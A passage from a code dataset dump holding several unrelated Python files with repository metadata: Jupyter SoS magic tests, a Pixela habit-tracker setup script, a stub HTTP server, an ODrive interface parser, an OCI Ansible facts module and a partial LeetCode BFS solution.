\"'124'\" == notebook.check_output(\"my_var\", kernel=\"SoS\")\n\n def test_magic_sandbox(self, notebook):\n notebook.call(\n \"\"\"\\\n %sandbox\n with open('test_blah.txt', 'w') as tb:\n tb.write('a')\n \"\"\",\n kernel=\"SoS\",\n )\n assert not os.path.isfile(\"test_blah.txt\")\n\n def test_magic_save(self, notebook):\n tmp_file = os.path.join(os.path.expanduser(\"~\"), \"test_save.txt\")\n if os.path.isfile(tmp_file):\n os.remove(tmp_file)\n notebook.call(\n \"\"\"\\\n %save ~/test_save.txt\n a=1\n \"\"\",\n kernel=\"SoS\",\n )\n with open(tmp_file) as tt:\n assert tt.read() == \"a=1\\n\"\n os.remove(tmp_file)\n\n def test_magic_sessioninfo(self, notebook):\n output = notebook.check_output(\n \"\"\"\\\n %use Python3\n %use SoS\n %sessioninfo\n \"\"\",\n kernel=\"SoS\",\n )\n assert \"SoS Version\" in output and \"Python3\" in output\n # test the with option\n notebook.call(\n '''\n sinfo = {\n 'str_section': 'rsync 3.2',\n 'list_section': [('v1', 'v2'), ('v3', b'v4')],\n 'dict_section': {'d1': 'd2', 'd3': b'd4'}\n }\n ''',\n kernel='SoS')\n output = notebook.check_output(\n \"\"\"\\\n %use Python3\n %use SoS\n %sessioninfo --with sinfo\n \"\"\",\n kernel=\"SoS\",\n )\n assert \"SoS Version\" in output and \"Python3\" in output\n assert all(\n x in output for x in ('rsync 3.2', 'v1', 'v2', 'v3', 'v4', 'd1',\n 'd2', 'd3', 'd4'))\n\n @pytest.mark.skipif(\n sys.platform == \"win32\",\n reason=\"! magic does not support built-in command #203\")\n def test_magic_shell(self, notebook):\n assert \"haha\" in notebook.check_output(\"!echo haha\", kernel=\"SoS\")\n\n @pytest.mark.xfail(\n reason=\"Cannot figure out why the file sometimes does not exist\")\n def test_magic_convert(self, notebook):\n #\n notebook.save()\n\n tmp_file = os.path.join(tempfile.gettempdir(), \"test_convert.html\")\n if os.path.isfile(tmp_file):\n os.remove(tmp_file)\n assert \"Workflow saved to\" in notebook.check_output(\n f\"\"\"\\\n %convert {tmp_file} --force\n [10]\n print('kkk')\n \"\"\",\n kernel=\"SoS\",\n )\n with open(tmp_file) as tt:\n assert \"kkk\" in tt.read()\n\n @pytest.mark.xfail(\n reason=\"Cannot figure out why the file sometimes does not exist\")\n def test_magic_convert_sos(self, notebook):\n #\n notebook.save()\n\n tmp_file = os.path.join(tempfile.gettempdir(), \"test_convert.sos\")\n if os.path.isfile(tmp_file):\n os.remove(tmp_file)\n assert \"Workflow saved to\" in notebook.check_output(\n f\"\"\"\\\n %convert {tmp_file} --force\n [10]\n print('kkk')\n \"\"\",\n kernel=\"SoS\",\n )\n with open(tmp_file) as tt:\n assert \"kkk\" in tt.read()\n\n @pytest.mark.xfail(\n reason=\"Cannot figure out why the file sometimes does not exist\")\n def test_magic_convert_sos_all(self, notebook):\n #\n notebook.save()\n\n tmp_file = os.path.join(tempfile.gettempdir(), \"test_convert.sos\")\n if os.path.isfile(tmp_file):\n os.remove(tmp_file)\n assert \"Workflow saved to\" in notebook.check_output(\n f\"\"\"\\\n %convert {tmp_file} --all --force\n print('kkk')\n \"\"\",\n kernel=\"SoS\",\n )\n with open(tmp_file) as tt:\n assert \"kkk\" in tt.read()\n\n\n def test_magic_use(self, notebook):\n idx = notebook.call(\n \"%use R0 -l sos_r.kernel:sos_R -c #CCCCCC\", kernel=\"SoS\")\n assert [204, 204, 204] == notebook.get_input_backgroundColor(idx)\n\n idx = notebook.call(\n \"%use R1 -l sos_r.kernel:sos_R -k ir -c #CCCCCC\", kernel=\"SoS\")\n assert [204, 204, 204] == notebook.get_input_backgroundColor(idx)\n\n notebook.call(\"%use R2 -k ir\", kernel=\"SoS\")\n notebook.call(\"a <- 1024\", kernel=\"R2\")\n assert \"1024\" == notebook.check_output(\"a\", kernel=\"R2\")\n\n notebook.call(\"%use R3 -k ir -l R\", kernel=\"SoS\")\n notebook.call(\"a <- 233\", kernel=\"R3\")\n assert \"233\" == notebook.check_output(\"a\", kernel=\"R3\")\n\n notebook.call(\"%use R2 -c red\", kernel=\"R3\")\n assert \"1024\" == notebook.check_output(\"a\", kernel=\"R2\")\n\n # def test_sos_vars(self, notebook):\n # # test automatic tranfer of sos variables\n # notebook.call(\"sosa = f'{3*8}'\", kernel=\"Python3\")\n # assert \"24\" in notebook.check_output(\"sosa\", kernel=\"SoS\")\n\n def test_magic_with(self, notebook):\n # test %with\n notebook.call(\"a = 3\", kernel=\"SoS\")\n notebook.call(\n \"\"\"\\\n %with R -i a -o ran\n ran<-rnorm(a)\n \"\"\",\n kernel=\"SoS\",\n )\n assert len(notebook.check_output(\"ran\", kernel=\"SoS\")) > 0\n", "repo_name": "vatlab/sos-notebook", "sub_path": "test/test_magics.py", "file_name": "test_magics.py", "file_ext": "py", "file_size_in_byte": 29184, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 165, "dataset": "github-code", "pt": "78", "api": [{"api_name": "sos_notebook.test_utils.NotebookTest", "line_number": 10, "usage_type": "name"}, {"api_name": "pytest.importorskip", "line_number": 377, "usage_type": "call"}, {"api_name": "pytest.mark.skipif", "line_number": 502, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 502, "usage_type": "attribute"}, {"api_name": "sys.platform", "line_number": 503, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 503, "usage_type": "attribute"}, {"api_name": "wand.image.Image", "line_number": 584, "usage_type": "name"}, {"api_name": "pytest.skip", "line_number": 586, "usage_type": "call"}, {"api_name": "pytest.mark.xfail", "line_number": 578, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 578, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 683, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 836, "usage_type": "call"}, {"api_name": "os.path", "line_number": 836, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 839, "usage_type": "call"}, {"api_name": "os.path", "line_number": 839, "usage_type": "attribute"}, {"api_name": "os.path.expanduser", "line_number": 839, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 840, "usage_type": "call"}, {"api_name": "os.path", "line_number": 840, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 841, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 851, "usage_type": "call"}, {"api_name": "pytest.mark.skipif", "line_number": 886, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 886, "usage_type": "attribute"}, {"api_name": "sys.platform", "line_number": 887, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 898, "usage_type": "call"}, {"api_name": "os.path", "line_number": 898, "usage_type": "attribute"}, {"api_name": "tempfile.gettempdir", "line_number": 898, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 899, "usage_type": "call"}, {"api_name": "os.path", "line_number": 899, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 900, "usage_type": "call"}, {"api_name": "pytest.mark.xfail", "line_number": 892, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 892, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 918, "usage_type": "call"}, {"api_name": "os.path", "line_number": 918, "usage_type": "attribute"}, {"api_name": "tempfile.gettempdir", "line_number": 918, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 919, "usage_type": "call"}, {"api_name": "os.path", "line_number": 919, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 920, "usage_type": "call"}, {"api_name": "pytest.mark.xfail", "line_number": 912, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 912, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 938, "usage_type": "call"}, {"api_name": "os.path", "line_number": 938, "usage_type": "attribute"}, {"api_name": "tempfile.gettempdir", "line_number": 938, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 939, "usage_type": "call"}, {"api_name": "os.path", "line_number": 939, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 940, "usage_type": "call"}, {"api_name": "pytest.mark.xfail", "line_number": 932, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 932, "usage_type": "attribute"}]} {"seq_id": "5181566063", "text": "import requests\nimport json\nimport webbrowser\n\n\nUSERNAME = \"some_username\"\nTOKEN = \"thisissecret\"\n\nGRAPH_NAME = \"some_graph\"\nGRAPH_ID = \"some_graph\"\nUNIT = \"hours\"\n\n#Creating a user ---------------------------------------\n\nloop = True\nwhile loop:\n USERNAME = input(\"enter your username (Small alphabet, no space or any other special characters): \\n\")\n TOKEN = \"thisissecret\"\n\n r_body = { #request_body\n \"token\": TOKEN, \n \"username\": USERNAME, \n \"agreeTermsOfService\":\"yes\", \n \"notMinor\":\"yes\"}\n\n response = requests.post(\"https://pixe.la/v1/users\", json=r_body)\n\n print(response.json()['message'])\n if response.json()['message'][0] == \"S\":\n loop = False\n \n\n\n\n\n\n\n#Creating a graph definition (making a graph) ---------------------------------\nloop = True\nwhile loop:\n\n GRAPH_NAME = input(\"enter Graph name (Small alphabet, no space or any other special characters): \\n\")\n GRAPH_ID = GRAPH_NAME\n r_header = {\n 'X-USER-TOKEN' : TOKEN\n }\n\n r_body = {\n \"id\":GRAPH_ID,\n \"name\":GRAPH_NAME,\n \"unit\":UNIT,\n \"type\":\"float\",\n \"color\":\"sora\",\n \"timezone\": \"Asia/Kolkata\"\n }\n response = requests.post(f\"https://pixe.la//v1/users/{USERNAME}/graphs\", json=r_body, headers=r_header)\n\n print(response.json()['message'])\n if response.json()['message'][0] == \"S\":\n loop = False\n\n\n\njson_data = {\n \"username\": USERNAME,\n \"token\": TOKEN,\n \"graph_name\": GRAPH_NAME,\n \"graph_id\" : GRAPH_ID, \n}\njson_obj = json.dumps(json_data, indent=4)\n\nwith open(\"data.json\", mode=\"w\") as file:\n file.write(json_obj)\n\nwebbrowser.open(f\"https://pixe.la/v1/users/{USERNAME}/graphs/{GRAPH_NAME}.html\")\nexit = input(\"\\n\\nEnter any key to exit\")", "repo_name": "koshanqari/habbit-tracker", "sub_path": "config/Create account.py", "file_name": "Create account.py", "file_ext": "py", "file_size_in_byte": 1771, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "requests.post", "line_number": 26, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 56, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 70, "usage_type": "call"}, {"api_name": "webbrowser.open", "line_number": 75, "usage_type": "call"}]} {"seq_id": "31427637886", "text": "import json\nfrom urllib.parse import parse_qs\n\nfrom http.server import HTTPServer,BaseHTTPRequestHandler\n\nclass HTTP_Serv(BaseHTTPRequestHandler):\n # url参数转换成字典\n # 'DB_name=zaobao&mission_name=12&ip_24='\n # >\n # {'DB_name': 'zaobao', 'mission_name': '12'}\n def url2dict(self, post_data):\n # print(dict([(k, v[0].strip()) for k, v in parse_qs(post_data).items()]))\n return dict([(k, v[0].strip()) for k, v in parse_qs(post_data).items()])\n\n #返回json格式的数据\n def do_respnose_json(self,json_data):\n self.send_response(200)\n self.send_header('Content-type', 'application/json')\n self.end_headers()\n self.wfile.write(json.dumps(json_data).encode())\n\n #返回html格式的页面\n def do_respnose_html(self, byte_data):\n self.send_response(200)\n self.send_header('Content-type', 'text/html; charset=utf-8')\n # self.send_header('Content-Length', str(len(byte_data)))\n self.end_headers()\n self.wfile.write(byte_data)\n\n #响应get请求\n def do_GET(self):\n self.webName = str(self.path.replace('://','').split('/')[1])\n htmlStr = 'Please POST to API'.encode('utf-8')\n self.do_respnose_html(htmlStr)\n\n #响应post请求，对应api接口http_api\n def do_POST(self):\n self.webName = str(self.path.replace('://','').split('/')[1])\n try:\n post_data = self.rfile.peek().decode()\n if self.webName == 'portScan':\n return self.do_respnose_json({'result':'port scan'})\n else:\n return self.do_respnose_json({'result': 'no this API'})\n except Exception as e:\n pass\n return self.do_respnose_json({'result': e})\n\n\ndef start_server(port):\n http_server = HTTPServer(('', int(port)),HTTP_Serv)\n http_server.serve_forever()\n\n\nif __name__ == \"__main__\":\n start_server(3333)", "repo_name": "jellyHero/wings3", "sub_path": "httpServ/httpServer.py", "file_name": "httpServer.py", "file_ext": "py", "file_size_in_byte": 1923, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "78", "api": [{"api_name": "http.server.BaseHTTPRequestHandler", "line_number": 6, "usage_type": "name"}, {"api_name": "urllib.parse.parse_qs", "line_number": 13, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 20, "usage_type": "call"}, {"api_name": "http.server.HTTPServer", "line_number": 51, "usage_type": "call"}]} {"seq_id": "13870247359", "text": "\nfrom abc import ABC, abstractmethod\nfrom collections import OrderedDict\nimport json\nimport jsonschema\nimport os\nimport re\nfrom typing import List, NamedTuple\nimport yaml\n\nfrom type_info import TypeInfo, BitfieldInfo, FlagInfo, EnumInfo, EnumeratorInfo, ClassInfo, FunctionInfo, ArgInfo, AttributeInfo, ResolvedTypeRef\nfrom type_registry import TypeRegistry, TypeNameRef\n\nclass SourceInfo(NamedTuple):\n file: str\n line: int\n\n# Source: https://stackoverflow.com/a/53647080/3621512\nclass SafeLineLoader(yaml.SafeLoader):\n def __init__(self, document_name, stream):\n super(SafeLineLoader, self).__init__(stream)\n self.document_name = document_name\n self.linenos = {}\n\n def compose_node(self, parent, index):\n # the line number where the previous token has ended (plus empty lines)\n line = self.line\n node = super(SafeLineLoader, self).compose_node(parent, index)\n node.__line__ = line + 1\n if parent is None:\n node.path = []\n return node\n\n def construct_mapping(self, node, deep=False):\n self.flatten_mapping(node)\n for key_node, value_node in node.value:\n value_node.path = node.path + [key_node.value]\n pairs = self.construct_pairs(node)\n if len(set([k for k, v in pairs])) != len(pairs):\n raise Exception(\"duplicate keys\")\n #import ipdb; ipdb.set_trace()\n self.linenos['.'.join(node.path)] = SourceInfo(self.document_name, node.__line__)\n return OrderedDict(pairs)\n\n\ndef get_dict(elem, key):\n return elem.get(key, None) or OrderedDict()\n\ndictionary = [] # TODO\n\ndef get_words(string):\n \"\"\"\n Splits a string in PascalCase or MACRO_CASE into a list of lower case words\n \"\"\"\n if string.isupper():\n return [w.lower() for w in string.split('_')]\n else:\n regex = ''.join((re.escape(w) + '|') for w in dictionary) + '[a-z0-9]+|[A-Z][a-z0-9]*'\n return [(w if w in dictionary else w.lower()) for w in re.findall(regex, string)]\n\ndef to_pascal_case(s): return ''.join([(w.title() if not w in dictionary else w) for w in get_words(s)])\n\n\nclass Loader():\n def __init__(self, registry):\n script_path = os.path.dirname(os.path.realpath(__file__))\n with open(os.path.join(script_path, 'interface-schema.json')) as fp:\n schema = json.load(fp)\n self._validator = jsonschema.Draft4Validator(schema)\n self._registry = registry\n\n ns = registry.global_namespace.ns_from_path(('io', 'fibreframework'), construct_if_missing=True)\n ns.add_type(OpaqueTypeInfo('int8'), py_ref_type=('Int8Property',), py_val_type=('int',))\n ns.add_type(OpaqueTypeInfo('uint8'), py_ref_type=('Uint8Property',), py_val_type=('int',))\n ns.add_type(OpaqueTypeInfo('int16'), py_ref_type=('Int16Property',), py_val_type=('int',))\n ns.add_type(OpaqueTypeInfo('uint16'), py_ref_type=('Uint16Property',), py_val_type=('int',))\n ns.add_type(OpaqueTypeInfo('int32'), py_ref_type=('Int32Property',), py_val_type=('int',))\n ns.add_type(OpaqueTypeInfo('uint32'), py_ref_type=('Uint32Property',), py_val_type=('int',))\n ns.add_type(OpaqueTypeInfo('int64'), py_ref_type=('Int64Property',), py_val_type=('int',))\n ns.add_type(OpaqueTypeInfo('uint64'), py_ref_type=('Uint64Property',), py_val_type=('int',))\n ns.add_type(OpaqueTypeInfo('float32'), py_ref_type=('Float32Property',), py_val_type=('float',))\n ns.add_type(OpaqueTypeInfo('bool'), py_ref_type=('BoolProperty',), py_val_type=('bool',))\n ns.add_type(OpaqueTypeInfo('endpoint_ref'), py_ref_type=('EndpointRefProperty',), py_val_type=('RemoteObject',))\n\n def load_enum_from_fata(self, enum, enum_data):\n pass # TODO\n\n def get_property_interface(self, codec):\n return None # TODO\n\n def load_args_from_data(self, ns_path, arg_data, using):\n for k, arg_data in arg_data.items():\n if isinstance(arg_data, str) or (not 'type' in arg_data):\n arg_data = {'type': arg_data}\n\n if isinstance(arg_data['type'], str):\n type_ref = TypeNameRef(self._registry, [ns_path, *using], arg_data['type'])\n else:\n type = self.load_type_from_data(ns_path, to_pascal_case(k), arg_data['type'], using)\n type_ref = ResolvedTypeRef(type)\n\n yield ArgInfo(k, type_ref, arg_data.get('doc', None))\n\n def load_type_from_data(self, ns_path, type_name, type_data, using: List[List['NamespaceInfo']]):\n ns = self._registry.global_namespace.ns_from_path(ns_path, construct_if_missing=True)\n\n if ('flags' in type_data):\n bitfield = ns.get_type(type_name, kind=BitfieldInfo, construct_if_missing=True)\n\n for k, flag_data in type_data['flags'].items():\n if flag_data is None:\n flag_data = {}\n bitfield.flags.append(FlagInfo(k,\n flag_data.get('bit', bitfield.get_next_bit()),\n flag_data.get('brief', None),\n flag_data.get('doc', None)\n ))\n \n if 'nullflag' in type_data:\n bitfield.nullflag = type_data['nullflag']\n\n return bitfield\n\n elif ('values' in type_data):\n enum = ns.get_type(type_name, kind=EnumInfo, construct_if_missing=True)\n\n for k, flag_data in type_data['values'].items():\n if flag_data is None:\n flag_data = {}\n enum.enumerators.append(EnumeratorInfo(k,\n flag_data.get('value', enum.get_next_value()),\n flag_data.get('brief', None),\n flag_data.get('doc', None)\n ))\n\n return enum\n\n else:\n # class type\n\n cls = ns.get_type(type_name, kind=ClassInfo, construct_if_missing=True)\n\n for k, attr_data in get_dict(type_data, 'attributes').items():\n if isinstance(attr_data, str):\n attr_data = {'type': attr_data}\n elif not 'type' in attr_data:\n attr_data['type'] = {}\n if 'attributes' in attr_data: attr_data['type']['attributes'] = attr_data.pop('attributes')\n if 'functions' in attr_data: attr_data['type']['functions'] = attr_data.pop('functions')\n if 'implements' in attr_data: attr_data['type']['implements'] = attr_data.pop('implements')\n if 'c_is_class' in attr_data: attr_data['type']['c_is_class'] = attr_data.pop('c_is_class')\n if 'values' in attr_data: attr_data['type']['values'] = attr_data.pop('values')\n if 'flags' in attr_data: attr_data['type']['flags'] = attr_data.pop('flags')\n if 'nullflag' in attr_data: attr_data['type']['nullflag'] = attr_data.pop('nullflag')\n\n if isinstance(attr_data['type'], str):\n if attr_data['type'].startswith('readonly '):\n attr_data['type'] = attr_data['type'][len('readonly '):]\n attr_data['readonly'] = True\n type_ref = TypeNameRef(self._registry, [(*ns_path, cls.name), *using], attr_data['type'])\n else:\n type = self.load_type_from_data((*ns_path, cls.name), to_pascal_case(k), attr_data['type'], using)\n type_ref = ResolvedTypeRef(type)\n\n cls.attributes.append(AttributeInfo(k,\n type_ref,\n attr_data.get('readonly', False),\n attr_data.get('brief', None),\n attr_data.get('doc', None)\n ))\n\n for k, func_data in get_dict(type_data, 'functions').items():\n if func_data is None:\n func_data = {}\n in_args = list(self.load_args_from_data((*ns_path, cls.name), get_dict(func_data or {}, 'in'), using))\n out_args = list(self.load_args_from_data((*ns_path, cls.name), get_dict(func_data or {}, 'out'), using))\n cls.functions.append(FunctionInfo(k, in_args, out_args, func_data.get('brief', None), func_data.get('doc', None)))\n\n return cls\n\n\n def load_from_data(self, data):\n using = [tuple(u.split('.')) for u in (data.get('using', None) or [])]\n ns = tuple(data['ns'].split('.'))\n\n all_types = [\n *get_dict(data, 'interfaces').items(), # TODO: deprecate\n *get_dict(data, 'valuetypes').items(), # TODO: deprecate\n *get_dict(data, 'types').items(),\n ]\n\n for k, type_data in all_types:\n if k.startswith(':'):\n current_ns = ()\n k = k[1:]\n else:\n current_ns = ns\n long_type_name = k.split('.')\n self.load_type_from_data(current_ns + tuple(long_type_name[:-1]), long_type_name[-1], type_data, using)\n\n def load_from_yaml_file(self, file: str):\n with open(file) as fp:\n loader = SafeLineLoader(file, fp)\n file_content = loader.get_single_data()\n\n for err in self._validator.iter_errors(file_content):\n # TODO: print line number\n raise Exception(err.message + '\\nat ' + str(list(err.absolute_path))) \n\n file_content['using'] = ['io.fibreframework'] # TODO: remove\n self.load_from_data(file_content)\n\n\nclass OpaqueTypeInfo(TypeInfo):\n def __init__(self, name):\n self.name = name\n\n\nif __name__ == \"__main__\":\n registry = TypeRegistry()\n\n\n loader = Loader(registry)\n loader.load_from_yaml_file('../../Firmware/odrive-interface.yaml')\n\n registry.resolve_all()\n \n intf1 = registry.get_class('com.odriverobotics.ODrive')\n intf2 = registry.get_class('com.odriverobotics.ODrive.Axis')\n intf3 = registry.get_class('com.odriverobotics.ODrive.Axis.Config')\n intf4 = registry.get_class('com.odriverobotics.ODrive.Motor')\n\n print(registry.get_py_ref_type_name(('com', 'odriverobotics', 'ODrive'), intf3))\n print(registry.get_py_ref_type_name(('com', 'odriverobotics', 'ODrive'), intf4))\n\n import ipdb; ipdb.set_trace()\n\n", "repo_name": "odriverobotics/ODrive", "sub_path": "tools/fibre-tools/interface_parser.py", "file_name": "interface_parser.py", "file_ext": "py", "file_size_in_byte": 10226, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2577, "dataset": "github-code", "pt": "78", "api": [{"api_name": "typing.NamedTuple", "line_number": 14, "usage_type": "name"}, {"api_name": "yaml.SafeLoader", "line_number": 19, "usage_type": "attribute"}, {"api_name": "collections.OrderedDict", "line_number": 43, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 47, "usage_type": "call"}, {"api_name": "re.escape", "line_number": 58, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 59, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 66, "usage_type": "call"}, {"api_name": "os.path", "line_number": 66, "usage_type": "attribute"}, {"api_name": "os.path.realpath", "line_number": 66, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 67, "usage_type": "call"}, {"api_name": "os.path", "line_number": 67, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 68, "usage_type": "call"}, {"api_name": "jsonschema.Draft4Validator", "line_number": 69, "usage_type": "call"}, {"api_name": "type_registry.TypeNameRef", "line_number": 97, "usage_type": "call"}, {"api_name": "type_info.ResolvedTypeRef", "line_number": 100, "usage_type": "call"}, {"api_name": "type_info.ArgInfo", "line_number": 102, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 104, "usage_type": "name"}, {"api_name": "type_info.BitfieldInfo", "line_number": 108, "usage_type": "name"}, {"api_name": "type_info.FlagInfo", "line_number": 113, "usage_type": "call"}, {"api_name": "type_info.EnumInfo", "line_number": 125, "usage_type": "name"}, {"api_name": "type_info.EnumeratorInfo", "line_number": 130, "usage_type": "call"}, {"api_name": "type_info.ClassInfo", "line_number": 141, "usage_type": "name"}, {"api_name": "type_registry.TypeNameRef", "line_number": 160, "usage_type": "call"}, {"api_name": "type_info.ResolvedTypeRef", "line_number": 163, "usage_type": "call"}, {"api_name": "type_info.AttributeInfo", "line_number": 165, "usage_type": "call"}, {"api_name": "type_info.FunctionInfo", "line_number": 177, "usage_type": "call"}, {"api_name": "type_info.TypeInfo", "line_number": 214, "usage_type": "name"}, {"api_name": "type_registry.TypeRegistry", "line_number": 220, "usage_type": "call"}, {"api_name": "ipdb.set_trace", "line_number": 236, "usage_type": "call"}]} {"seq_id": "42516449969", "text": "from __future__ import absolute_import, division, print_function\n\n__metaclass__ = type\n\nANSIBLE_METADATA = {\n \"metadata_version\": \"1.1\",\n \"status\": [\"preview\"],\n \"supported_by\": \"community\",\n}\n\nDOCUMENTATION = \"\"\"\n---\nmodule: oci_key_management_replication_status_details_facts\nshort_description: Fetches details about a ReplicationStatusDetails resource in Oracle Cloud Infrastructure\ndescription:\n - Fetches details about a ReplicationStatusDetails resource in Oracle Cloud Infrastructure\n - When a vault has a replica, each operation on the vault or its resources, such as\n keys, is replicated and has an associated replicationId. Replication status provides\n details about whether the operation associated with the given replicationId has been\n successfully applied across replicas.\nversion_added: \"2.9.0\"\nauthor: Oracle (@oracle)\noptions:\n replication_id:\n description:\n - replicationId associated with an operation on a resource\n type: str\n aliases: [\"id\"]\n required: true\n service_endpoint:\n description:\n - The endpoint of the service to call using this client. For example 'https://kms.{region}.{secondLevelDomain}'.\n type: str\n required: true\nextends_documentation_fragment: [ oracle.oci.oracle ]\n\"\"\"\n\nEXAMPLES = \"\"\"\n- name: Get a specific replication_status_details\n oci_key_management_replication_status_details_facts:\n # required\n replication_id: \"ocid1.replication.oc1..xxxxxxEXAMPLExxxxxx\"\n service_endpoint: \"https://xxx.kms.{region}.oraclecloud.com\"\n\n\"\"\"\n\nRETURN = \"\"\"\nreplication_status_details:\n description:\n - ReplicationStatusDetails resource\n returned: on success\n type: complex\n contains:\n replica_details:\n description:\n - The value to assign to the replica_details property of this Vault.\n returned: on success\n type: complex\n contains:\n region:\n description:\n - The replica region\n returned: on success\n type: str\n sample: us-phoenix-1\n status:\n description:\n - Replication status associated with a replicationId\n returned: on success\n type: str\n sample: REPLICATING\n sample: {\n \"replica_details\": [{\n \"region\": \"us-phoenix-1\",\n \"status\": \"REPLICATING\"\n }]\n }\n\"\"\"\n\nfrom ansible_collections.oracle.oci.plugins.module_utils import oci_common_utils\nfrom ansible_collections.oracle.oci.plugins.module_utils.oci_resource_utils import (\n OCIResourceFactsHelperBase,\n get_custom_class,\n OCIAnsibleModule,\n)\n\ntry:\n from oci.key_management import KmsManagementClient\n\n HAS_OCI_PY_SDK = True\nexcept ImportError:\n HAS_OCI_PY_SDK = False\n\n\nclass ReplicationStatusDetailsFactsHelperGen(OCIResourceFactsHelperBase):\n \"\"\"Supported operations: get\"\"\"\n\n def get_required_params_for_get(self):\n return [\n \"replication_id\",\n ]\n\n def get_resource(self):\n return oci_common_utils.call_with_backoff(\n self.client.get_replication_status,\n replication_id=self.module.params.get(\"replication_id\"),\n )\n\n\nReplicationStatusDetailsFactsHelperCustom = get_custom_class(\n \"ReplicationStatusDetailsFactsHelperCustom\"\n)\n\n\nclass ResourceFactsHelper(\n ReplicationStatusDetailsFactsHelperCustom, ReplicationStatusDetailsFactsHelperGen\n):\n pass\n\n\ndef main():\n module_args = oci_common_utils.get_common_arg_spec()\n module_args.update(\n dict(\n replication_id=dict(aliases=[\"id\"], type=\"str\", required=True),\n service_endpoint=dict(type=\"str\", required=True),\n )\n )\n\n module = OCIAnsibleModule(argument_spec=module_args)\n\n if not HAS_OCI_PY_SDK:\n module.fail_json(msg=\"oci python sdk required for this module.\")\n\n resource_facts_helper = ResourceFactsHelper(\n module=module,\n resource_type=\"replication_status_details\",\n service_client_class=KmsManagementClient,\n namespace=\"key_management\",\n )\n\n result = []\n\n if resource_facts_helper.is_get():\n result = resource_facts_helper.get()\n else:\n resource_facts_helper.fail()\n\n module.exit_json(replication_status_details=result)\n\n\nif __name__ == \"__main__\":\n main()\n", "repo_name": "oracle/oci-ansible-collection", "sub_path": "plugins/modules/oci_key_management_replication_status_details_facts.py", "file_name": "oci_key_management_replication_status_details_facts.py", "file_ext": "py", "file_size_in_byte": 4489, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 151, "dataset": "github-code", "pt": "78", "api": [{"api_name": "ansible_collections.oracle.oci.plugins.module_utils.oci_resource_utils.OCIResourceFactsHelperBase", "line_number": 95, "usage_type": "name"}, {"api_name": "ansible_collections.oracle.oci.plugins.module_utils.oci_common_utils.call_with_backoff", "line_number": 104, "usage_type": "call"}, {"api_name": "ansible_collections.oracle.oci.plugins.module_utils.oci_common_utils", "line_number": 104, "usage_type": "name"}, {"api_name": "ansible_collections.oracle.oci.plugins.module_utils.oci_resource_utils.get_custom_class", "line_number": 110, "usage_type": "call"}, {"api_name": "ansible_collections.oracle.oci.plugins.module_utils.oci_common_utils.get_common_arg_spec", "line_number": 122, "usage_type": "call"}, {"api_name": "ansible_collections.oracle.oci.plugins.module_utils.oci_common_utils", "line_number": 122, "usage_type": "name"}, {"api_name": "ansible_collections.oracle.oci.plugins.module_utils.oci_resource_utils.OCIAnsibleModule", "line_number": 130, "usage_type": "call"}, {"api_name": "oci.key_management.KmsManagementClient", "line_number": 138, "usage_type": "name"}]} {"seq_id": "39752668654", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Aug 28 20:24:58 2020\r\n\r\n@author: gunda\r\n\"\"\"\r\n\r\nclass Solution:\r\n def solve(self, board):\r\n \"\"\"\r\n Do not return anything, modify board in-place instead.\r\n \"\"\"\r\n if not board or not board[0]:\r\n return\r\n \r\n self.m = len(board)\r\n self.n = len(board[0])\r\n boarder = []\r\n \r\n # Collecting all the 'O' on the boarder\r\n for i in range(self.m):\r\n if board[i][0] == 'O':\r\n boarder.append([i, 0])\r\n if board[i][self.n-1] == 'O':\r\n boarder.append([i, self.n-1])\r\n for j in range(self.n):\r\n if board[0][j] == 'O':\r\n boarder.append([0, j])\r\n if board[self.m-1][j] == 'O':\r\n boarder.append([self.m-1, j])\r\n \r\n for row, col in boarder:\r\n self.BFS(board, row, col)\r\n \r\n for row in range(self.m):\r\n for col in range(self.n):\r\n if board[row][col] == 'O':\r\n board[row][col] = 'X'\r\n elif board[row][col] == 'E':\r\n board[row][col] = 'O'\r\n print(board)\r\n \r\n def BFS(self, board, row, col):\r\n from collections import deque\r\n queue = deque([[row, col]])\r\n while queue:\r\n [row, col] = queue.popleft()\r\n if board[row][col] != 'O':\r\n continue\r\n board[row][col] = 'E'\r\n \r\n if col < self.n-1: queue.append([row, col+1])\r\n if col > 0: queue.append([row, col-1])\r\n if row < self.m-1: queue.append([row+1, col])\r\n if row > 0: queue.append([row-1, col])\r\n \r\nsolution = Solution()\r\nsolution.solve([[\"X\",\"X\",\"X\",\"X\"],\r\n [\"X\",\"O\",\"O\",\"X\"],\r\n 